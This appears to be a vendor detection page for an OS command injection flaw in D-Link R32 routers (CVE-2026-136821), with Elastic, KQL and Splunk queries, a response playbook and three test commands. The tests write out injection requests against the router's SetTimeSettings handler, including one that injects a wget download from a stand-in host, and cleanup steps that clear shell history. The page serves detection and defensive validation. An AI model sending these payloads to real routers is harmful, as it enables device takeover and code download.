Detect D-Link R32 DHMAPI SetTimeSettings TZLocation OS Command Injection (CVE-2026-136821) in Elastic Security
Detects exploitation of CVE-2026-136821, an OS command injection vulnerability in the SetTimeSettings function of the DHMAPI Action Handler on D-Link R32 1.10B02 routers. The TZLocation parameter is passed unsanitized into a shell context, letting an attacker inject arbitrary operating-system commands (CWE-77/CWE-78) via crafted HTTP requests to the DHMAPI endpoint. CVSS 8.6. A public exploit exists. This detection surfaces anomalous HTTP POST/GET activity to the DHMAPI action handler containing shell metacharacters in the TZLocation parameter, plus downstream indicators of command execution from the embedded web process.
Based on D-Link R32 A1 1.10B02 SetTimeSettings TZLocation OS Command Injection write-up
MITRE ATT&CK
- Tactic
- Initial Access Execution
Elastic Detection Query
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
network where (url.path like~ "*DHMAPI*" or url.path like~ "*SetTimeSettings*" or url.query like~ "*SetTimeSettings*") and
url.query like~ "*TZLocation*" and
(url.query like "*;*" or url.query like "*|*" or url.query like "*`*" or url.query like "*$(*" or url.query like "*${*" or url.query like "*%3B*" or url.query like "*%7C*" or url.query like "*%60*") Elastic EQL rule matching network HTTP events to the DHMAPI SetTimeSettings handler with shell metacharacters in the TZLocation query parameter.
Data Sources
Required Tables
False Positives & Tuning
- Authorized scanning or penetration-test traffic against the router management interface
- Legitimate admin time-zone configuration containing encoded special characters
- Proxy double-encoding producing spurious metacharacter matches
Other platforms for CVE-2026-136821
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulate DHMAPI SetTimeSettings TZLocation command injection probe
Expected signal: Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.
- Test 2 URL-encoded TZLocation injection probe
Expected signal: HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.
- Test 3 Windows-based exploitation probe via PowerShell
Expected signal: Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.
Response Playbook
Triage
- Confirm the destination IP is a D-Link R32 router running firmware 1.10B02 and whether its management/DHMAPI interface is reachable from the source network or the internet.
- URL-decode the captured TZLocation parameter and extract the injected command string; determine whether it is a benign scan probe (e.g. ';id', ';echo') or a weaponized payload (download, reverse shell, credential dump).
- Determine whether the source IP is internal, a known scanner, or an external/unexpected host, and check for repeated or sequential SetTimeSettings requests indicating automated exploitation.
- Review router syslog and firewall egress logs for outbound connections originating from the router immediately after the request, which would confirm successful command execution.
Containment
- Block the source IP at the perimeter firewall and restrict access to the router's DHMAPI/management interface to trusted management VLANs only.
- Isolate the affected router from the internet (disable WAN-side management) and, if command execution is confirmed, take the device offline pending firmware remediation or replacement.
- Disable remote administration on the device and rotate all router credentials once a clean state is established.
Evidence Collection
- Capture the full raw HTTP request(s) to DHMAPI SetTimeSettings including headers and the decoded TZLocation payload from firewall/proxy/packet-capture logs.
- Export router syslog, configuration backup, and any available process/connection telemetry for the time window around the request.
- Preserve firewall egress logs showing any outbound connections from the router to attacker infrastructure for IOC extraction.
Escalation Criteria
- !Escalate to incident response if the injected TZLocation command is non-trivial (downloads a payload, opens a listener, or modifies configuration) or if outbound connections from the router follow the request.
- !Escalate if multiple D-Link routers in the environment receive the same SetTimeSettings payload, indicating a campaign or worm-like propagation.
- !Escalate to network/infrastructure owners if the router's management interface is found exposed to the internet.
Investigation Guide
Forensic Artifacts
- >
Router syslog entries referencing DHMAPI/SetTimeSettings and anomalous child processes spawned by the embedded web server (httpd/goahead). - >
Firewall/proxy HTTP logs containing the TZLocation payload with shell metacharacters. - >
Modified router configuration, cron/startup entries, or unexpected outbound network connections originating from the router.
Tuning Guidance
Baseline legitimate management source IPs and the normal TZLocation value set for your deployed routers; exclude authorized vulnerability scanners by source IP. If false positives arise from benign ampersands in query strings, tighten the regex to require TZLocation to be immediately followed by a metacharacter and a command-like token (e.g. TZLocation=...[;|&]\s*\w+). Prioritize alerts where the request originates from outside the management VLAN or where downstream outbound connections from the router follow the request.
Hunting Queries
Hunt for all DHMAPI SetTimeSettings requests carrying TZLocation with shell metacharacters, aggregated by source IP to spot scanning or exploitation attempts.
// df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "DHMAPI" | extend d=url_decode(RequestURL) | where d has "TZLocation" and d has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated, 1h) ``` df00tech DF00-06a4432189 · https://df00tech.com/detections/CVE-2026-136821 · licence: https://df00tech.com/detections/licence ```
index=network (uri="*DHMAPI*" OR _raw="*SetTimeSettings*") | eval d=urldecode(coalesce(uri,_raw)) | search d="*TZLocation*" | regex d="TZLocation[^&]*[;|`&]" | stats count by src_ip Atomic Red Team Tests
Sends a crafted HTTP request to a lab D-Link R32 (or mock endpoint) injecting a benign command into the TZLocation parameter of SetTimeSettings.
Command
curl -s -X POST 'http://192.0.2.10/DHMAPI/' --data-urlencode 'action=SetTimeSettings' --data-urlencode 'TZLocation=UTC;id' -H 'Content-Type: application/x-www-form-urlencoded' Cleanup
echo 'No persistent artifacts created on tester; clear shell history if desired: history -c' Expected Telemetry
Firewall/proxy HTTP log entry showing a POST to /DHMAPI/ with TZLocation containing a semicolon and 'id' command.
Expected Detection
The kql/spl/elastic queries match on DHMAPI + TZLocation + shell metacharacter.
Sends a GET request with URL-encoded shell metacharacters in the TZLocation parameter to test decoding-aware detection.
Command
curl -s 'http://192.0.2.10/DHMAPI/?action=SetTimeSettings&TZLocation=UTC%3Becho%20pwned' Cleanup
history -c 2>/dev/null; true Expected Telemetry
HTTP GET event with TZLocation=UTC%3Becho%20pwned captured in network/proxy logs.
Expected Detection
Detection matches via encoded metacharacter patterns (%3B/%7C/%60) or after url_decode.
Uses PowerShell on a Windows test host to issue the malicious SetTimeSettings request against the lab router.
Command
Invoke-WebRequest -Uri 'http://192.0.2.10/DHMAPI/' -Method POST -Body @{action='SetTimeSettings'; TZLocation='UTC;wget http://192.0.2.20/x'} -UseBasicParsing Cleanup
Clear-History; Remove-Variable -Name response -ErrorAction SilentlyContinue Expected Telemetry
Outbound HTTP POST from the Windows host to the router with a weaponized TZLocation payload.
Expected Detection
Detection matches on DHMAPI + TZLocation + shell metacharacters and flags the download-style payload as high priority.